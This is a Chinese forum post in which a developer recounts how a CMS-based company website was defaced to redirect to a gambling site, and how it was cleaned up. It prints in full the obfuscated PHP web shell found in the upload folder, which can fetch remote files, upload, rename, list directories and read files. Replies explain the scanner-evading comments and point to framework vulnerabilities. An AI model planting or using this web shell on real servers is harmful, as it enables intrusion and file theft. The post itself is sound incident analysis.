记一次官网被黑的经历

今天下午五点左右收到通知说微信公众号的官网链接被限制访问了,上线一看,官网被黑了,百度通过关键字搜到官网条目,点进去直接跳转到一个博彩网站,这就尴尬了,才一天不上班网站就被黑出翔,实在蛋疼。
于是百度搜解决方案,查看网站首页源代码,发现不对劲
file
上服务器一看,几乎整个网站根目录都被替换了
原本正常代码目录应该是这样的
file
正常的 index.php 的内容应该如下
file
结果现在的网站目录变成这样了
file
目录无变化,但是文件 TMD 除了 index.php 以外其他文件都没了,这就尴尬了
查看现在的 index.php 的内容
file
直接变成个 html 文档了我去。
然后把出文件全部替换回来,网站恢复正常

接下来寻找被黑原因
进服务器执行 history 命令查看操作命令
未发现异常
推测不是 ssh 被攻破
是网站代码问题
很有可能是 cms 的漏洞
在网站根目录通过 find ./-mtime -l 命令查看最近 24 小时修改过的文件
file
发现 upload 目录下有修改过的文件,进去查看
file
发现被人上传了个脚本,很郁闷,之前没查看上传接口,原来这 CMS 不做上传防御的,不做防御就算了,上传文件之后还不会自动把文件重命名的,这游戏能玩?
查看了下脚本内容
file
最后清除了脚本后,亡羊补牢,设置 nginx 在上传目录下禁止执行 php 文件
调整了下攻击脚本的格式,内容如下

<?php 

error_reporting(0);

$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";

$id=$sr/*+/*+*/("ri"."d_"."si");

$rn=$sr/*+/*+*/("em"."an"."er");

$dn=$sr/*+/*+*/("em"."anr"."id");

$od=$sr/*+/*+*/("ri"."dne"."po");

$rd=$sr/*+/*+*/("ri"."dda"."er");

$cd=$sr/*+/*+*/("ri"."deso"."lc");

$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");

$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");

$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");

$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';

$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';

if($_GET['act']=='dl')
{
    echo($dlform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
    }
    exit;
}

if($_GET['act']=='ul')
{
echo($ulform);

if($_SERVER['REQUEST_METHOD']=='POST')
{
    $sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
}
exit;

}
if($_GET['act']=='rn'){
    echo($rnform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $rn/*+/*+*/($_POST['on'],$_POST['nn']);
    }
    exit;
    }
if($_GET['act']=='gp')
{
    echo($dn/*+/*+*/(__FILE__));
    exit;
}
if($_GET['act']=='lp')
{
    echo($lpform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $dp=$_POST['dp'].'/';
        $h=$od/*+/*+*/($dp);
        while(($fn=$rd/*+/*+*/($h))!==false)
        {
            if($id/*+/*+*/($dp.$fn))
            {
                $t1.='D '.$fn.'<br>';
            } else {
                $t2.='  '.$fn.'<br>';
            }
        }
        $cd/*+/*+*/($dp);
        echo($dp.'<br>'.$t1.$t2);
        }
        exit;
}
if($_GET['act']=='sf')
{echo($sfform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
    $df=$_POST['df'];
echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
}
exit;
}

?>

看着这攻击脚本有点疑问,看不太懂,希望有能看懂的同学一起交流下,另外脚本有大段的./+/+*/ 这种注释,这种注释到底有什么用,或者说,这不仅仅是注释?还请有明白的同学指点一番

本作品采用《CC 协议》,转载必须注明作者和本文链接
本帖由系统于 6年前 自动加精
《L03 构架 API 服务器》
你将学到如 RESTFul 设计风格、PostMan 的使用、OAuth 流程,JWT 概念及使用 和 API 开发相关的进阶知识。
《L02 从零构建论坛系统》
以构建论坛项目 LaraBBS 为线索,展开对 Laravel 框架的全面学习。应用程序架构思路贴近 Laravel 框架的设计哲学。
讨论数量: 16

主要功能:获取当前目录,扫描目录,获取文件内容,上传木马。

大概的内容如下:

代码已被折叠,点此展开
6年前 评论
leo

/*+/*+*/ 在代码层面没有任何作用,主要是用来绕过一些智障的木马扫描器

6年前 评论

tp 吧 修复最近新公布的那几个漏洞了吗

6年前 评论

@月殇 没有呢,新官网已经重构好了,下周上线,不用这套了

6年前 评论
JaguarJack

别用 都是 webinstall 的 漏洞贼多

6年前 评论

新官网用的什么呢 看来 tp 是不好搞了

6年前 评论

还是用拉瓦了

6年前 评论
leo

/*+/*+*/ 在代码层面没有任何作用,主要是用来绕过一些智障的木马扫描器

6年前 评论

主要功能:获取当前目录,扫描目录,获取文件内容,上传木马。

大概的内容如下:

代码已被折叠,点此展开
6年前 评论

有人用帝国 cms 碰到过这个

6年前 评论
尼古丁

恐怖:scream:

6年前 评论

同被黑的路过,tp 漏洞,杀完木马升级补丁 ok

6年前 评论
ruke

之前用过 服务器空间 , 也就是一台服务器分出来很多块,卖给很多人,有一次我发现通过 php 的这些个目录操作函数,文件操作函数,可以读取出卖给别人的空间 (也就是目录), 还可以删除文件..

6年前 评论

这个脚本估计是自己写的,比较简单,前几天也发现了一个朋友的 tp5 网站被上传木马了.

主要也是静态化 index.php 文件,加入跳转到博彩网站 js , 但是比较狡猾的是,仅对于搜索引擎来源的进行跳转,直接访问的不会跳转,这样自己人不易发现.

然后,在升级框架过程中,发现了 5 种不同的后门脚本遍布在各个目录下,同时文件名也是伪装成相似的文件名。文件内容都是加密了,功能十分丰富,文件管理,sql, shell 等功能.

PS: 没有把 public 作为 web 根目录这个也是有点风险点。建议楼主再次扫描一下其他目录下还有没有残留的.

6年前 评论

@ivothgle 没错的,一样的,我也发现了六七个其他的脚本,很蛋疼,哈哈,不过这套代码已经不用了

6年前 评论
ibucoin

老东家同 tp 做的官网被攻击挂马,不过没人维护,所以也没用了

6年前 评论